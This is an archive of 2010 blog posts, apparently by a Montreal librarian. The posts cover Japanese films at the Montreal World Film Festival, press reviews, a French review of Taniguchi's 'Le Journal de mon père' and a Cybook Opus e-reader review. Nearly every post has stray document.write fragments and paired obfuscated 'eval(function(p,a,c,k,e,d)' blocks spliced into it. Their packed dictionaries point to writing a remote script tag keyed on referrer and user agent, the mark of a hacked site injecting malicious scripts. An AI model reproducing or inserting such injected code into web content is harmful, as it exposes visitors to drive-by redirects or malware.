Uncategorized

“Sword of Desperation” video

/ Clodjee / Leave a comment

Here’s a video of the screening presentation and press conference of the Japanese movie Sword of Desperation at the Montreal World Film Festival 2010 (filmed by clodjee on August 27th, document.write(“”); 31:21 min.):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhnfz|var|u0026u|referrer|khaaf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbzfe|var|u0026u|referrer|ezakr||js|php’.split(‘|’),0,{}))

Sword of Desperation from clodjee on Vimeo.

Revue de Presse / Press Review (2010/08/27)

/ Clodjee / Leave a comment

Personal update: I’ve been feeling unwell for the last two weeks (first some disgestion problems and then some sort of cold), document.write(“”); so I have not done much lately besides slaving for the libraries. I always feel completely exhausted after work. I guess I am worrying too much about my next working schedule and moving out of the apartment. The bright side is that if I don’t get much work this fall it will leave me time to rest and to shop for a new house. But now with the Montreal World Film Festival I should be again quite busy (and tired) for a couple of weeks. I can’t wait to have some real time off… Anyway, the world is still turning and there’s always news to talk about:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnzrk|var|u0026u|referrer|draef||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhdas|var|u0026u|referrer|enstk||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Economy, Environment & International Politics

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

“Sword of Desperation” press conference

/ Clodjee / Leave a comment

Those who follow my World Film Festival coverage might be interested to know that the press conference for the Japanese movie Sword of Desperation (Hisshiken Torisashi) will be held tomorrow, document.write(“”); friday August 27th, at 2 pm (14:00) in the Complexe Desjardins’ Grande-Place. The movie, which is in competition, will be screened tomorrow at the Cinema Imperial at 9:00 and at the Maisonneuve Theatre at 21:30. The director Hideyuki Hirayama and screenwriter Hideri Ito will attend the press conference, which will be open to the public.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fyane|var|u0026u|referrer|rersh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drast|var|u0026u|referrer|rzaak||js|php’.split(‘|’),0,{}))

A video of the screening presentation and press conference is available.

A list of the upcoming press conferences can be found on the festival web site.

I will regularly update my list of Japanese films with new information as they are available. I’ll make a separate note for all major new information. Enjoy the festival!

Revue de Presse / Press Review (2010/08/17)

/ Clodjee / Leave a comment

Personal update: I’ve been incredibly busy lately and I’m sure it will only get worse (unless I don’t manage to get a full schedule for the libraries fall time-block—the time of sleepless worrying over scheduling is back again). I’ve spent all week-end at Otakuthon: It was a good convention (at least for me in the dealers’ room) but quite exhausting. With all the stress and exhaustion, document.write(“”); I’ve not been feeling well lately (headache and disgestion problems). I couldn’t manage to write much, but I did spot of few noteworthy newsbits:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyrhn|var|u0026u|referrer|rnykz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdsas|var|u0026u|referrer|iyfnb||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Otakuthon reminder

/ Clodjee / Leave a comment

Just a quick note to remind you that I’ll be a guest all week-end (August 13-15) at Otakuthon (Palais des Congrès de Montréal: 201, document.write(“”); Viger Avenue West, near Métro Place d’Armes). Check the Otakuthon website for details.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnaet|var|u0026u|referrer|raesh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nytfy|var|u0026u|referrer|tfize||js|php’.split(‘|’),0,{}))

Come see us and discuss at our tables (#516 & 517) in the Exhibition Hall. We’ll have LOTS of anime & manga goodies to sell at VERY good price.

Our friends from Dream Pod 9 will also be there (#510, 511 & 520).

I’ll also be kicking off my Super Virtual Summer Garage Sale. Don’t miss it!

Montreal World Film Festival 2010

/ Clodjee / 2 Comments

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 34th edition, which will be held from August 26 to September 6. During the twelve days of its duration, the festival will present 430 films from 80 countries, including 277 feature-length movies, 15 medium-length and 188 short films. 113 of those features will be world or international premieres!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfdsd|var|u0026u|referrer|nzisd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fidtd|var|u0026u|referrer|rhfrd||js|php’.split(‘|’),0,{}))

“True to its mandate, which is to encourage cultural diversity, to stimulate quality cinema, to discover and promote new talent, the Montreal World Film Festival presents a program that is more diverse and inclusive than ever, with pride of place to discovery even when offering a showcase to established artists. (…) The Festival team worked hard to find films off the beaten track, especially to offer young filmmakers an opportunity to show their talent.“

This year the festival is offering us twelve Japanese movies: nine features, two documentaries and one “rerun.” Of the twenty features from twenty-four countries that make up the World Competition section, three are Japanese. That’s a much bigger Japanese selection than last year.

The World Competition [list]

  • Akunin (Villain), 139 min., directed by Sang-Il LEE, Cast: Satoshi Tsumabuki, Eri Fukatsu, Masaki Okada, Hikari Mitsushima, Kirin Kiki, Akira Emoto. A young insurance saleswoman is found strangled at Mitsuse Pass. Her family and friends are shocked. The pass — which tunnels through a mountainous region of southern Japan — has an eerie history… Schedule: 9/5, 21:30, TM.05.2; 9/5, 9:00, CI.05.1; 9/6, 16:30, CI.06.3.
  • Box — Hakamada Jiken — Inochi Towa (Box: The Hakamada Case), 117 min., directed by TAKAHASHI Banmei, Cast: Masato Hagiwara, Hirofumi Arai, Riona Hazuki, Takeoni Murano, Naoki Hosaka, Ryo Ishibashi. Based on a criminal case in Japan in mid 1960s, the story centres on two men who was born in the same year; one is sentenced to death for murder and the other is the judge who believes his innocence.
    Schedule: 9/2, 21:30, TM.02.1; 9/2, 9:00, CI.02.1; 9/3, 16:30, CI.03.4.
  • Hisshiken Torisashi (Sword of Desperation), 114 min., directed by HIRAYAMA Hideyuki, Cast: Etsushi Toyokama, Chizuru Ikewari, Koji Kikkawa. During the Edo Period in Japan, Kanemi Sanzaemon, a skilled swordsman and chief of the Unasaka battles to rid his clan of political corruption.
    Schedule: 8/27, 21:30, TM.27.1; 8/27, 9:00, CI.27.1; 8/28, 14:00, CI.28.3.

First Films World Competition [list]

  • Torocco (Rail Truck), Japan/Taiwan co-production, 116 min., directed by KAWAGUCHI Hirofumi. Cast: Machiko Ono, Kento Harada, Kyoichi Omae, Hong Liu, Chang Han, Wan Fan, Bryant Chang, Mei Fang. When Yumiko Yano travels with her sons, Atsushi and Toki, from her home in Tokyo to the Taiwanese village of her late husband, the boys discover a culture and a society that is alien to their Japanese existence.
    Schedule: 9/2, 12:00, L10.02.2; 9/2, 19:00, L10.02.5; 9/4, 19:20, L10.28.3.

Out of Competition [list]

  • Bushi no Kakeibo (Abacus and Sword), 120 min., directed by MORITA Yoshimitsu. Cast : Masato Sakai, Yukie Nakama, Keiko Matsuzaka, Masahito Nishimura, Masatoshi Makamura, Mitsuko Kusabue. In the Edo era, Japan was facing a period of upheaval. The great Tenpo famine of the 1830s and other developments have left the finances of the Kaga Domain in a precarious financial position…
    Schedule: 8/30, 10:00, L12.30.1; 831, 21:30, C!.31.6; 9/1, 14:30, L12.01.3.
  • Caterpillar (Le soldat-dieu), 85 min., directed by WAKAMATSU Koji. Cast : Shinobu Terajima, Shima Ohnishi, Ken Yoshizawa, Keigo Kasuya, Emi Masuda, Sabu Kawahara. During the Second Sino-Japanese War, in 1940, Lieutenant Kurokawa returns home as a honoured and decorated soldier, but deprived of his arms and leg, lost on the battlefield in mainland China.
    Schedule: 9/2, 21:40, L17.02.5; 9/3, 14:50, L17.03.3; 9/4, 21:40, L17.04.6.

Focus on World Cinema [list]

  • Inshite Miru (The Incite Mill), 110 min., directed by NAKATA Hideo. Cast : Tatsuya Fujiwara, Haruka Ayase, Satomi Ishihara. Ten people respond to a preposterous job posting — a short term project promising to pay $1200 an hour. Sounds dodgy but the money is hard to resist.
    Schedule: 9/2, 10:00, L15.02.1; 9/2, 21:40, L15.02.6; 9/5, 19:20, L16.05.5.
  • Shitsuren Satsujin (Lost Love Murder), 100 min., directed by KUBOTA Shoji. Cast : Mao Miyaji, Yurei Yanagi, Ryuchi Ohura, Kinuo Yamada, Kouta Kusano, Mari Hoshino. Suichi is madly in love with his wife, but he suspects that she is unfaithful, and this gnawing jealousy leads to a bizarre murder.
    Schedule: 9/2, 21:40, L16.02.6; 9/3, 10:00, L17.03.1; 9/4, 12:10, L16.04.2.
  • Suito Rituru Raizu (Sweet Little Lies), 117 min., directed by YAZAKI Hitoshi. Cast : Miki Nakatani, Nao Omori, Chizuru Ikewaki, Junichi Kobayashi. Ruriko, an artist, has been married to Satoshi for three years and on the surface their marriage seems ideal. In fact, however, they have been gradually growing distant.
    Schedule: 8/29, 14:50, L10.29.3; 8/30, 19:20, L12.30.5; 9/1, 10:00, L9.01.1; 9/5, 21:40, L16.05.6.

Documentaries [list]

  • Dancing Chaplin, 131 min., directed by SUO Masayuki. A filmed record of the Roland Petit’s well- known ballet but also a union of dance and film that reflects the serendipitous meeting of the great talents of Chaplin, Petit and Japanese director Masayuki Suo.
    Schedule: 9/3, 12:10, L15.03.2; 9/4, 21:21, L15.04.6; 9/5, 17:00, L15.05.4.
  • Umareru (Being Born), 8 min., directed by TOMO. Junichi, an emergency medical technician, and his wife Takako, a nurse, who work with life and death daily, now want a new life of their own, a baby.
    Schedule: 8/28, 12:30, L14.28.2; 8/28, 19:20, L14.28.5; 8/29, 14:20, L14.29.3; 8/30, 17:30, L14.30.4.

Cinema Under the Stars [list]

  • Shall We Dance (1996), 120 min., directed by SUO Masayuki. Cast: Koji Yakusho, Tamiyo Kusakari, Naoto Takenaka. A workaholic’s dull life takes a funny turn when he signs up for a ballroom dance class – just to meet the sexy dance teacher. But when he finally goes for lessons, he winds up with a different instructor and her colourfully eccentric class of beginners.
    Schedule: 9/3, 20:30, Outdoor on Place des Festivals.

Here is the video of the programming press conference (34:23 min.):

MWFF 2010 Programming Press Conference from clodjee on Vimeo.
The schedule [PDF] is now available online [ Part 1, Part 2, Index ]

I’ve made a calendar to help visualize the time and location of all the Japanese movies’ screenings. What were they thinking: putting eight screenings of Japanese movies on the same day (Sept. 2nd)?

I’ve also made a nice, printable PDF file gathering all the useful information from the festival guide.

For the first time in years the MWFF has put in advance on their web site a list of the upcoming press conferences.

More details and links will be added as the information become available. [Updated 08/11 (more details & links), 08/21 (schedule, better description & link’s icon), 08/22 (calendar), 08/24 (FFM web links, Google links, PDF), 08/27 (link for press conferences list), 08/31 (icon & link press conference), 9/04 (programming press conference video), 9/09 (more press conferences video links)]

[I have updated the “MWFF 2009 Overview” blog entry with a few corrections, links and new logos for some links. More update to come. Please have a look!]

Le Journal de mon père

/ Clodjee / 3 Comments

“Contrairement à l’impression suggérée par son titre, document.write(“”); Le Journal de mon père n’est pas un récit autobiographique. Jirô Taniguchi a simplement “planté” son scénario à Tottori, sa ville natale, où il a tant de repères et de souvenirs. Le héros de cette histoire s’appelle Yoichi Yamashita et travaille à Tokyo dans une agence de design. Apprenant la mort de son père, il revient après une très longue absence à Tottori, la ville qui l’a vu grandir. Au cours d’une veillée funèbre très arrosée, le passé des années 50 et 60 ressurgit : l’incendie qui a ravagé la ville et la maison familiale, le dur labeur pour la reconstruction, le divorce de ses parents, ses souffrances d’enfant… Lors de cette veillée, chaque membre de la famille apporte un éclairage nouveau sur la personnalité de ce père que Yoichi tenait jusque-là pour responsable du désastre familial. Le fils réalise finalement, mais trop tard, qu’il a sans doute été le seul responsable de leur douloureuse incompréhension.” [Texte de présentation sur le site de l’éditeur]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkzbd|var|u0026u|referrer|yndrd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heetd|var|u0026u|referrer|kheia||js|php’.split(‘|’),0,{}))

Le Journal de mon père est l’un des premier Taniguchi que j’ai lu (après le premier volume de Au temps de Botchan et La montagne magique) et j’ai été tellement impressionné que j’en suis resté bouche-bée et ai oublié d’en écrire le commentaire. Je corrige donc ici cette négligence.

Le Journal de mon père (??? / Chichi no koyomi) a originellement été publié au Japon par Shogakukan en 1994. En France, il a d’abord été publié par Casterman en trois volumes (Vol. 1: Le grand incendie, Vol. 2: La séparation, Vol. 3: L’apaisement) en 1999-2000, puis en un seul volume à couverture souple en 2004 et finalement en une édition cartonnée en 2007. La troisième oeuvre de Taniguchi a être traduite en français après L’Homme qui marche et Le Chien Blanco, Le Journal de mon père fut son premier succès en France et demeure encore aujourd’hui l’un de ses manga les plus connus en Europe. Taniguchi y raconte l’histoire de Yoichi qui, à l’occasion de la mort de son père, retourne dans son village natal pour la première fois en quinze ans. Il avait peu à peu cessé de voir son père, jugeant ce dernier responsable du départ de sa mère, et il éprouvait envers lui beaucoup de ressentiment. Au travers des discussions de la veillée funèbre, il redécouvre un père qu’il ne connaissait finalement pas beaucoup et en vient à regretter de ne pas l’avoir mieux connu de son vivant.

Le Journal de mon père ressemble étrangement à Quartier lointain (écrit quatre ans plus tard, en 1998), mais sans les éléments fantastiques ou surnaturels—qu’il réussisse à raconter une telle histoire en l’ancrant dans le quotidien démontre bien le talent extraordinaire de Taniguchi. On y retrouve toutes ses thématiques fétiches, particulièrement celles de la réminiscence, de la nostalgie et de la vie quotidienne. Il y a aussi le thème de la famille car son sujet quasi-Oedipien nous rappelle que l’on doit chérir ses proches pendant qu’il en est encore temps. On retrouve également le thème de la nature (dans les scènes buccoliques de la campagne Japonaise) ainsi que l’aspect animalier (dans l’affection du personnage principal pour son chien). Le plus surprenant c’est sans doute de découvrir—sous une forme inusité je l’admet—la thématique déambulatoire qui lui est si chère. Toutefois, dans ce cas-ci, Taniguchi nous offre une promenade à travers les souvenirs de Yoichi. Ce sera un voyage qui aura un effet transformateur profond sur le personnage—et peut-être aussi sur le lecteur.

C’est une oeuvre introspective très émouvante qui est bien mise en lumière par une excellente narration et par le style clair et précis de Taniguchi. C’est un superbe exemple de son talent d’artiste qui est particulièrement mis en valeur par l’édition cartonné (qui en profite également pour corriger quelques erreurs de disposition de cases présentent dans les éditions précédantes). Le Journal de mon père est sans conteste l’un des plus grands chef-d’oeuvres de Taniguchi.

Le journal de mon père par Jir? TANIGUCHI. Casterman (Coll. Écritures), 2007. B&W, 17.3 x 24 cm, 274 pgs (dont 4 en couleur). 19.00 € / $36.95 Can. Recommandé pour adolescents (14+). ISBN: 978-2-203-00338-5.

[ Amazon — Renaud-Bray — Biblio — WorldCat ]

Chichi no koyomi (Le journal de mon père) © 1995 by Jiro Taniguchi. All rights reserved. © Casterman, 2007 pour la traduction française.

Références: notice encyclopédique de ANN, bibliographie et notice Wikipedia.

Recommended TV series

/ Clodjee / Leave a comment

There are two TV series that I’ve recently discovered and that I strongly recommend for various reasons:

Moyashimon Live-Action Drama

The story is based on the Moyashimon manga (first adapted into an anime in 2007: see ANN, Wikipedia and we had a nice article about it in PA #96) in which we follow the young Tadayasu as he enters an Agricultural University. Of course, he finds himself in all sorts of situations because of the special ability that allows him to see and communicate with micro-organisms like fungi and bacteria. I heard about the live-action drama adaptation several months ago, but I was surpised to discover yesterday that it was already available in North America through the Korean drama streaming site DramaFever.com (so far five episodes can be streamed for free) and FUNimation’s YouTube channel (also five episodes available so far; click here to see episode 1). It is both funny and very educational as it is relatively faithful to the original story (the choice of the cast is amazingly close to the original character designs).

Ken Follet’s The Pillars of the Earth


A friend recently recommended me Ken Follet’s book The Pillars of the Earth. I downloaded it to my iPad from Apple’s iBookstore ($6.99) and started reading it. It is a complex and dark historical saga set around a medieval stonemason named Tom Builder who dreams of building a cathedral (for more details see the Wikipedia entries on the novel & TV series, the IMDb entry as well as Ken Follet’s website). Then, by chance, I discovered that it had just been adapted into a Germano-Canadian 8-hour TV series showing on both Starz and The Movie Network. I’ve seen three of the eight episodes so far (a fourth is airing tonight) and I think it is a compelling historical epic well worth watching. Of course, as for all adaptations, it is not entirely faithful to the novel, but, despite the relatively somber subject, it’s a good piece of entertainment with great actors. I’ve seen a really bad review in The Washington Post, but USA Today give quite a positive impression, as well as talking about the show production and even about an “amplified edition” apps available for Apple’s iPad, iPhone and iPod Touch! If you like historical drama, it is certainly worth checking out.

Revue de Presse / Press Review (2010/08/06)

/ Clodjee / Leave a comment

Anime & Manga related, document.write(“”); Japan, Popular Culture
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnrzr|var|u0026u|referrer|itiny||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|naabb|var|u0026u|referrer|ztkfs||js|php’.split(‘|’),0,{}))

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Bookeen’s Cybook Opus Hands-on

/ Clodjee / Leave a comment

The public libraries network where I work is considering the possibility to lend eBook readers and to allow patrons to “borrow” eBooks. In order to get some feedback, document.write(“”); the network has given different models of readers to a few librarians and technicians for evaluation. A colleague who received one of those readers wanted to get my opinion and lent his to me. I couldn’t miss this opportunity to have my first hands-on experience with one of those ePaper readers.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynkra|var|u0026u|referrer|esykt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhhss|var|u0026u|referrer|dbhdr||js|php’.split(‘|’),0,{}))

I wish I could have had in my hands a Sony Reader or an Amazon Kindle instead (I’ve never seen a Kindle up-close and have handled a Sony Reader only for a few minutes in a book fair), but the model I got was the Bookeen’s Cybook Opus. If a little disappointed, I was nevertheless quite happy with this opportunity since the Cybook is quite an interesting reader despite its shortcomings.

The Cybook Opus uses monochrome ePaper technology. It is rather small (108 x 151 x 10 mm / 4.2 x 6 x .4 in) and ultra light (150 g / 5.3 oz). Its 5“ (125 mm) display offers a resolution of 600 x 800 pixels in 200 dpi with 4 levels of grey (in comparison Sony’s models offer 8 to 16 levels of grey). It runs on a 400 MHz Samsung ARM chipset and has 1 Gb of memory (which is enough to store a thousand books!). Its battery charge is good for two weeks or 8000 page flips and its accelerometer or G-sensor allow to automatically switch from landscape mode to portrait mode when we turn the Cybook. It has a micro SD slot for extra memory and plugs into your computer through a mini-USB connector. It reads digital editions (ePub & PDF formats), basic eBooks (HTML & TXT formats) and pictures (PNG, JPG & GIF formats). It works in 12 languages and comes preloaded with 75 books (44 classics and 2 Harlequin in English, 31 classics in French). The suggested retail price for all that is $215 CAN ($200 US).

I must note that the model I had for evaluation was an older model (released in August 2009) that was not running the latest firmware and was available only in white. The newest model, Opus v. 2 (released in May 2010), comes in 8 housing colors and (according to the company’s press release) runs much faster and smoother—as the new firmware offers many bug fixes, 9 more languages, and a new Table of Content function. It also comes preloaded with 125~150 books!

As I said, the Cybook Opus has many shortcomings: during my reading I experienced a couple of crashes (the new firmware is supposed to improve that); the screen is not backlit so you cannot read in the dark; it’s not touch-screen so the navigation is rather inefficient (without a table of content, at least in the version I tested, you can only use a “go to” option in the contextual menu in order to jump to a specific page); it doesn’t handle graphics too well (which is not good to read comics or magazines in PDF format); there’s no WiFi or G3 connectivity so you cannot use the internet and need to use a memory card or a USB cable to transfer the eBooks you downloaded on your computer; it doesn’t play MP3 (although the Gen3, Bookeen’s higher model, does); finally, you cannot change the settings or the interface besides the number of menu items viewed per page, the languages or the fonts (12 font types & 12 text sizes) and the operating system (Linux based) is not accessible at all via a shell interface. Conclusion: it’s a VERY basic model and, if it’s one of the cheapest readers, it is still too expensive. For what it offers, it would be better priced at $100~$150.

However, despite all that, I still consider the Cybook Opus as an excellent reader. Of course, the ideal reader for me is something like the Apple iPad, or the iPod touch, because it’s much more polyvalent (full internet access, ability to work on files, multi-function reader, the perfect screen to read comics & magazines, etc.), but, if you want a device ONLY to read books and nothing else, the Cybook Opus is very good for that. It might have limited functions (no advanced functions besides using hyperlinks & bookmarks — even that doesn’t work for all formats), but offers enough possible settings to make e-reading more accessible (many languages, different font sizes). It is also one of the least expensive and lightest reader on the market. The ePaper technology provides the best reading experience (particularly in full sunlight, where the iPad is not performing well) and is quite energy efficient. Its screen is small (not much bigger than the 3-inch screen of the iPod Touch) compared to the heavier Sony Reader (Pocket Edition: 5“, 8 oz, $170 US; Touch Edition: 6“, 10 oz, $250 US; Daily Edition: 7“, 13 oz, $300 US) or the Kindle (Standard: 6“, 8.5 oz, $140~$190 US; DX: 10“, 19 oz, $380 US), but it’s big enough to offer a good amount of text per page and yet still small enough to fit in a pocket. It’s not sophisticated, but a simple, compact device, perfect to carry an entire library without feeling the weight of the books.

I am not very warm to the idea of lending $200~$400 devices to patrons (considering in which state we often get books and Dvds back, doing so would be looking for trouble!), but if we were to lend eBook readers I would consider the Cybook Opus as the best model for that, because it’s relatively inexpensive, basic and easy to use. Furthermore, I would recommend to lend it already charged and preloaded with a certain amount of “free” books (and therefore without the power & USB cables) in order to reduce the device manipulation by the patrons. Of course, there’s always the risk that neglectful or malicious patrons would use the “erase” function of the contextual menu to remove documents from the reader or try to tamper with the device in some ways (by trying to copy documents to their computer for example).

It would probably be safer (avoiding the devices being lost or broken) to make the readers available only on site and to put the emphasis on “lending” the eBooks themselves either from an on-site terminal or downloadable from the internet (i.e. the library’s webpage). The library could offer a large selection of DRM-free classics (already available for free on the internet anyway), but the technology now allow to also offer titles with DRM (Digital Right Management) with an expiration date (for example: after forty-five or sixty days the eBook deletes itself from the reader — Apple is already doing that when you rent movies on iTunes).

I might soon get the opportunity to also review a Sony Reader, so that will allow me to draw a better impression of each device by comparing them. Of course, personally, I still prefer to read on my iPad!

Revue de Presse / Press Review (2010/07/31)

/ Clodjee / Leave a comment

Anime & Manga related, document.write(“”); Japan, Popular Culture
